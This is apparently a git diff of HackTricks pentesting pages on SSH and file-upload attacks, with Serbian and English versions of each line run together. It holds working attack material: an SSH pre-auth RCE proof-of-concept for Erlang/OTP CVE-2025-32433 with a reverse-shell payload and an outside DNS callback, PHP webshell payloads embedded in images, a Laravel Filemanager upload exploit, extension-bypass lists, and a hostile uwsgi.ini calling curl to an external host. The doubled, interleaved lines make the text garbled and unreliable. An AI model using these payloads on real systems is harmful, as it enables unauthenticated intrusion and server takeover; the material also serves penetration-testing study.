The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**. **sftp** ima komandu "**symlink**". Dakle, ako imate **prava za pisanje** u nekom direktorijumu, možete kreirati **symlinks** ka **drugim direktorijumima/fajlovima**. Pošto ste verovatno **zarobljeni** unutar chroot-a, ovo **neće biti naročito korisno** za vas, ali, ako možete **pristupiti** kreiranom **symlink** iz **no-chroot** **service** (na primer, ako možete pristupiti symlink-u sa web-a), mogli biste **otvoriti symlinkovane fajlove preko web-a**.
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: Na primer, da biste kreirali **symlink** iz novog fajla **"**_**froot**_**" u "**_**/**_**"**:
```bash ```bash
sftp> symlink / froot sftp> symlink / froot
``` ```
Ako možete pristupiti datoteci "_froot_" putem veba, moći ćete da prikažete root ("/") folder sistema. Ako možete da pristupite fajlu "_froot_" preko weba, bićete u mogućnosti da izlistate root ("/") direktorijum sistema.
### Metode autentifikacije ### Metode autentifikacije
U okruženju sa visokom sigurnošću, uobičajena praksa je omogućiti samo autentifikaciju zasnovanu na ključevima ili dvostruku autentifikaciju umesto jednostavne autentifikacije zasnovane na lozinkama. Ali često se jače metode autentifikacije omogućavaju bez onemogućavanja slabijih. Čest slučaj je omogućavanje `publickey` u openSSH konfiguraciji i postavljanje kao podrazumevanu metodu, ali ne onemogućavanje `password`. Tako da korišćenjem verbose moda SSH klijenta, napadač može videti da je slabija metoda omogućena: U okruženjima visokog nivoa bezbednosti uobičajena je praksa omogućiti samo autentifikaciju zasnovanu na ključu ili dvofaktorsku autentifikaciju umesto jednostruke autentifikacije zasnovane na lozinki. Međutim, često se jače metode autentifikacije omoguće bez onemogućavanja slabijih. Čest slučaj je omogućavanje `publickey` u openSSH konfiguraciji i postavljanje kao podrazumevane metode, ali ne onemogućavanje `password`. Dakle, korišćenjem verbose moda SSH klijenta napadač može videti da je slabija metoda omogućena:
```bash ```bash
ssh -v 192.168.1.94 ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
... ...
debug1: Authentications that can continue: publickey,password,keyboard-interactive debug1: Authentications that can continue: publickey,password,keyboard-interactive
``` ```
Na primer, ako je postavljen limit za neuspehe autentifikacije i nikada ne dobijete priliku da dođete do metode lozinke, možete koristiti opciju `PreferredAuthentications` da primorate korišćenje ove metode. Na primer, ako je postavljen limit neuspelih pokušaja autentikacije i nikada ne stignete do password metode, možete koristiti opciju `PreferredAuthentications` да приморате коришћење те методе.
```bash ```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password ssh -v 192.168.1.94 -o PreferredAuthentications=password
... ...
debug1: Next authentication method: password debug1: Next authentication method: password
``` ```
Proverite konfiguraciju SSH servera kako biste osigurali da su samo očekivane metode autorizovane. Korišćenje verbose moda na klijentu može pomoći da se vidi efikasnost konfiguracije. Potrebno je pregledati konfiguraciju SSH servera kako bi se proverilo da su dozvoljene samo očekivane metode. Korišćenje verbose moda na klijentu može pomoći da se uvidi efikasnost konfiguracije.
### Config files ### Konfiguracioni fajlovi
```bash ```bash
ssh_config ssh_config
sshd_config sshd_config
@ -282,22 +301,22 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Obilaženje Stanja Mašine za Autentifikaciju (Pre-Auth RCE) ## Authentication State-Machine Bypass (Pre-Auth RCE)
Nekoliko implementacija SSH servera sadrži logičke greške u **mašini za konačnu autentifikaciju** koje omogućavaju klijentu da šalje *poruke protokola veze* **pre nego što** autentifikacija završi. Pošto server ne uspeva da verifikuje da se nalazi u ispravnom stanju, te poruke se obrađuju kao da je korisnik potpuno autentifikovan, što dovodi do **neautentifikovane izvršavanja koda** ili kreiranja sesije. Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation.
Na protokolskom nivou, svaka SSH poruka sa _kodom poruke_ **≥ 80** (0x50) pripada *sloju veze* (RFC 4254) i mora **biti prihvaćena samo nakon uspešne autentifikacije** (RFC 4252). Ako server obradi jednu od tih poruka dok je još u *SSH_AUTHENTICATION* stanju, napadač može odmah kreirati kanal i zahtevati akcije kao što su izvršavanje komandi, prosleđivanje portova, itd. At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252). If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.
### Opšti Koraci Eksploatacije ### Generički koraci eksploatacije
1. Uspostavite TCP vezu sa SSH portom cilja (obično 22, ali druge usluge mogu izlagati Erlang/OTP na 2022, 830, 2222…). 1. Uspostavite TCP konekciju na ciljni SSH port (obično 22, ali drugi servisi mogu izlagati Erlang/OTP na 2022, 830, 2222…).
2. Kreirajte sirovi SSH paket: 2. Sastavite raw SSH paket:
* 4-bajtni **packet_length** (big-endian) * 4-byte **packet_length** (big-endian)
* 1-bajtni **message_code** ≥ 80 (npr. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * 1-byte **message_code** ≥ 80 (npr. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload koji će biti razumljiv odabranom tipu poruke * Payload koji će biti interpretiran od strane izabranog tipa poruke
3. Pošaljite paket(e) **pre nego što završite bilo koji korak autentifikacije**. 3. Pošaljite paket(e) **pre nego što kompletirate bilo koji korak autentifikacije**.
4. Interagujte sa server API-ima koji su sada izloženi _pre-auth_ (izvršavanje komandi, prosleđivanje portova, pristup sistemu datoteka, …). 4. Interagujte sa server API-jem koji su sada izloženi _pre-auth_ (izvršavanje komandi, port-forwarding, pristup fajl-sistemu, …).
Python primer koncepta: Python proof-of-concept outline:
```python ```python
import socket, struct import socket, struct
HOST, PORT = '10.10.10.10', 22 HOST, PORT = '10.10.10.10', 22
@ -309,41 +328,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt) s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands # additional CHANNEL_REQUEST packets can follow to run commands
``` ```
U praksi ćete morati da izvršite (ili preskočite) razmenu ključeva u skladu sa implementacijom cilja, ali **nikakva autentifikacija** se nikada ne vrši. U praksi ćete morati da izvršite (ili preskočite) key-exchange u zavisnosti od implementacije mete, ali **no authentication** nikada nije obavljena.
--- ---
### Erlang/OTP `sshd` (CVE-2025-32433) ### Erlang/OTP `sshd` (CVE-2025-32433)
* **Pogođene verzije:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Pogođene verzije:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Osnovni uzrok:** Erlang nativni SSH daemon ne validira trenutni status pre nego što pozove `ssh_connection:handle_msg/2`. Stoga svaki paket sa kodom poruke 80-255 dolazi do rukovaoca veze dok je sesija još u *userauth* stanju. * **Root cause:** Erlang native SSH daemon ne validira trenutni state pre nego što pozove `ssh_connection:handle_msg/2`. Dakle, bilo koji paket sa message code 80-255 stiže do connection handler-a dok je sesija i dalje u *userauth* state-u.
* **Uticaj:** neautentifikovana **daljinska izvršenja koda** (daemon obično radi kao **root** na ugrađenim/OT uređajima). * **Impact:** unauthenticated **remote code execution** (daemon obično radi kao **root** na embedded/OT uređajima).
Primer payload-a koji pokreće reverznu ljusku vezanu za kanal pod kontrolom napadača: Primer payload-a koji pokreće reverse shell vezan za attacker-controlled channel:
```erlang ```erlang
% open a channel first … then: % open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
``` ```
Blind RCE / out-of-band detekcija može se izvršiti putem DNS-a: Blind RCE / out-of-band detection može se izvršiti preko DNS:
```erlang ```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
``` ```
Detection & Mitigation: Detekcija i ublažavanje:
* Istražite SSH saobraćaj: **odbacite bilo koji paket sa kodom poruke ≥ 80 zabeleženim pre autentifikacije**. * Pregledajte SSH saobraćaj: **odbacite svaki paket sa kodom poruke ≥ 80 koji je uočen pre autentifikacije**.
* Ažurirajte Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** ili noviji. * Ažurirajte Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** ili noviju verziju.
* Ograničite izloženost portova za upravljanje (22/2022/830/2222) posebno na OT opremi. * Ograničite izloženost portova za upravljanje (22/2022/830/2222) posebno na OT opremi.
--- ---
### Other Implementations Affected ### Ostale pogođene implementacije
* **libssh** 0.6 0.8 (server side) **CVE-2018-10933** prihvata neautentifikovani `SSH_MSG_USERAUTH_SUCCESS` poslat od strane klijenta, što je zapravo obrnuta logička greška. * **libssh** 0.6 0.8 (na strani servera) **CVE-2018-10933** prihvata neautentifikovani `SSH_MSG_USERAUTH_SUCCESS` poslat od klijenta, što je efektivno obrnuta logička greška.
Opšta lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; pri pregledanju ili fuzzingu SSH daemona posebno obratite pažnju na *state-machine enforcement*.
Zajednička lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; prilikom pregleda ili fuzzinga SSH demona obratite posebnu pažnju na *provođenje stanja mašine*.
## References ## References
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatic Commands ## HackTricks automatske komande
``` ```
Protocol_Name: SSH Protocol_Name: SSH
Port_Number: 22 Port_Number: 22

View File

@ -1,10 +1,10 @@
# Otprema fajlova # Otpremanje fajlova
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Opšta metodologija za otpremanje fajlova ## Opšta metodologija za otpremanje fajlova
Druge korisne ekstenzije: Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -15,13 +15,13 @@ Druge korisne ekstenzije:
- **Perl**: _.pl, .cgi_ - **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_ - **Erlang Yaws Web Server**: _.yaws_
### Zaobilaženje kontrole ekstenzija ### Zaobilaženje provere ekstenzija fajlova
1. Ako su primenljive, **proverite** prethodne ekstenzije. Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._ 1. Ako se primenjuju, **proverite** prethodne ekstenzije. Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proverite **dodavanje validne ekstenzije pre** ekstenzije za izvršenje (koristite i prethodne ekstenzije):_ 2. _Proverite **dodavanje validne ekstenzije pre** izvršne ekstenzije (koristite i prethodne ekstenzije):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** svih **ascii** i **Unicode** karaktera. (_Napomena: takođe možete pokušati koristiti **prethodno** pomenute **ekstenzije**_) 3. Pokušajte da dodate **specijalne karaktere na kraj.** Možete koristiti Burp da **bruteforce-ujete** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@ Druge korisne ekstenzije:
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. Pokušajte zaobići zaštite **varajući parser ekstenzija** na serverskoj strani sa tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bytes) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._ 4. Pokušajte da zaobiđete zaštite **varanjem parsera ekstenzija** na server strani tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,13 +40,13 @@ Druge korisne ekstenzije:
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru: 5. Dodajte **još jedan sloj ekstenzija** u prethodnu proveru:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. Pokušajte staviti **ekstenziju za izvršenje pre validne ekstenzije** i nadate se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache miskonfiguracija gde će se izvršiti kod za bilo šta sa ekstenzijom **_.php_**, čak i ako fajl ne završava na .php): 6. Pokušajte da stavite **exec ekstenziju pre validne ekstenzije** i nadajte se da je server pogrešno konfigurisan. (korisno za eksploatisanje Apache misconfig-a gde će bilo šta sa ekstenzijom **_.php_**, ali **ne nužno završavajući sa .php** izvršiti kod):
- _ex: file.php.png_ - _ex: file.php.png_
7. Korišćenje **NTFS alternate data stream (ADS)** u **Windows**. U ovom slučaju, dvotačka ":" biće umetnuta posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg"). Ovaj fajl se kasnije može izmeniti drugim tehnikama kao što je upotreba njegovog short filename. Šablon "**::$data**” se takođe može koristiti za kreiranje fajlova sa sadržajem. Stoga dodavanje tačke posle ovog šablona može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data."). 7. Korišćenje **NTFS alternate data stream (ADS)** u **Windows**. U ovom slučaju biće ubacen karakter dvotačke ":" nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg”). Ovaj fajl može kasnije biti izmenjen drugim tehnikama, kao što je korišćenje njegovog short filename-a. Pattern "**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Dakle, dodavanje tačke nakon ovog patterna može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.”)
8. Pokušajte prekoračiti limite imena fajla. Validna ekstenzija se iseče. I ostaje zlonamerni PHP. AAA<--SNIP-->AAA.php 8. Pokušajte da prekidate limite imena fajla. Validna ekstenzija se iseče. I ostaje zlonamerni PHP. AAA<--SNIP-->AAA.php
``` ```
# Linux maximum 255 bytes # Linux maximum 255 bytes
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Neki upload handler-i skraćuju ili normalizuju završne tačke u imenu fajla. U UniSharps Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možete zaobići validaciju ekstenzija na sledeći način: Neki upload handler-i trimuju ili normalizuju trailing tačke iz sačuvanog imena fajla. U UniSharps Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možete zaobići validaciju ekstenzija tako što ćete:
- Korišćenjem validnog image MIME i magic header-a (npr. PNG-ov `\x89PNG\r\n\x1a\n`). - Koristiti validan image MIME i magic header (npr. PNGs `\x89PNG\r\n\x1a\n`).
- Imenujući otpremljeni fajl sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`. - Imenovati otpremljeni fajl sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`.
- Server uklanja završnu tačku i sačuva `shell.php`, koji će se izvršiti ako je postavljen u direktorijum koji se servira preko web-a (podrazumevano public storage kao `/storage/files/`). - Server ukloni trailing tačku i sačuva `shell.php`, koji će se izvršiti ako je postavljen u web-servirani direktorijum (podrazumevano javno storage kao što je `/storage/files/`).
Minimalni PoC (Burp Repeater): Minimalni PoC (Burp Repeater):
```http ```http
@ -84,59 +84,60 @@ Zatim pristupite sačuvanoj putanji (tipično u Laravel + LFM):
``` ```
GET /storage/files/0xdf.php?cmd=id GET /storage/files/0xdf.php?cmd=id
``` ```
Mitigacije: Mitigations:
- Ažurirajte unisharp/laravel-filemanager na ≥ 2.9.1. - Ažurirajte unisharp/laravel-filemanager na ≥ 2.9.1.
- Primeni stroge server-side allowlists i ponovo validiraj sačuvano ime fajla. - Primijenite stroge server-side allowlists i ponovo validirajte sačuvano ime fajla.
- Serve uploads iz neizvršnih lokacija. - Servirajte upload-ove iz non-executable lokacija.
### Zaobilaženje Content-Type, Magic Number, Compression & Resizing ### Bypass Content-Type, Magic Number, Compression & Resizing
- Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header** na: _image/png_ , _text/plain , application/octet-stream_ - Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Zaobiđite proveru **magic number** tako što ćete na početak fajla dodati **bajtove prave slike** (zbunite _file_ komandu). Ili ubacite shell u **metadata**:\ - Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\ `\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Ako se na vašu sliku primenjuje **kompresija**, na primer koristeći neke standardne PHP biblioteke poput [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. - If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web stranica takođe može menjati **veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Ipak, možete koristiti **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. - The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Još jedna tehnika za pravljenje payload-a koji **preživi promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Ipak, možete koristiti **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. - Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Ostali trikovi za proveru ### Other Tricks to check
- Pronađite ranjivost koja omogućava **preimenovanje** već otpremljenog fajla (da se promeni ekstenzija). - Pronađite ranjivost koja omogućava **preimenovanje** već uploadovanog fajla (za promenu ekstenzije).
- Pronađite **Local File Inclusion** ranjivost da izvršite backdoor. - Pronađite **Local File Inclusion** ranjivost za izvršavanje backdoora.
- **Moguće otkrivanje informacija**: - **Moguće otkrivanje informacija**:
1. Otpremite **više puta** (i u **isto vreme**) **isti fajl** sa **istim imenom** 1. Upload-ujte **više puta** (i **istovremeno**) **isti fajl** sa **istim imenom**
2. Otpremite fajl sa **imenom** fajla ili foldera koji **već postoji** 2. Upload-ujte fajl sa **imenom** fajla ili foldera koji već **postoji**
3. Otpremanje fajla sa **"." , ".." ili "..." kao imenom**. Na primer, u Apache na **Windows**, ako aplikacija sačuva upload-ovane fajlove u "/www/uploads/" direktorijumu, fajl sa imenom "." će kreirati fajl nazvan "uploads" u "/www/" direktorijumu. 3. Upload-ovanje fajla sa **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called
4. Otpremite fajl koji se možda teško briše, kao što je **"...:.jpg"** na **NTFS**. (Windows) uploads” in the "/www/" directory.
5. Otpremite fajl u **Windows** sa **nevažećim karakterima** kao što su `|<>*?”` u imenu. (Windows) 4. Upload-ujte fajl koji se možda ne može lako obrisati kao što je **"…:.jpg"** u **NTFS**. (Windows)
6. Otpremite fajl u **Windows** koristeći **rezervisane** (**zabranjene**) **nazive** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. 5. Upload-ujte fajl u **Windows** sa **nevalidnim karakterima** kao što su `|<>*?”` u imenu. (Windows)
- Pokušajte takođe da **otpremite izvršni fajl** (.exe) ili **.html** (manje sumnjivo) koji će **izvršiti kod** kada ga žrtva slučajno otvori. 6. Upload-ujte fajl u **Windows** koristeći **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Pokušajte takođe da **upload-ujete izvršni fajl** (.exe) ili an **.html** (manje sumnjivo) koji **će izvršiti kod** kada ga žrtva slučajno otvori.
### Specijalni trikovi sa ekstenzijama ### Special extension tricks
Ako pokušavate da otpremite fajlove na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Ako pokušavate da otpremite fajlove na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Fajlovi `.phar` su kao `.jar` za java, ali za php, i mogu se **koristiti kao php fajl** (izvršavajući ih sa php, ili uključujući ih unutar skripte...) The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import files**, tako da je moguće da je u nekom trenutku dozvoljeno **izvršavanje ove ekstenzije**. The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE** ## **Jetty RCE**
Ako možete da otpremite XML fajl na Jetty server, možete dobiti [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je prikazano na sledećoj slici, otpremite XML fajl u `$JETTY_BASE/webapps/` i očekujte shell! If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
Za detaljno proučavanje ove ranjivosti pogledajte originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) ranjivosti mogu se iskoristiti na uWSGI serverima ako napadač ima mogućnost da izmeni `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, placeholder-a i operatora. Posebno, '@' operator, korišćen kao `@(filename)`, je namenjen da uključi sadržaj fajla. Među različitim podržanim scheme-ama u uWSGI, "exec" scheme je posebno moćna, omogućavajući čitanje podataka iz stdout procesa. Ova funkcionalnost se može zloupotrebiti za zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` konfiguracioni fajl procesuira. Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini ```ini
@ -156,15 +157,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
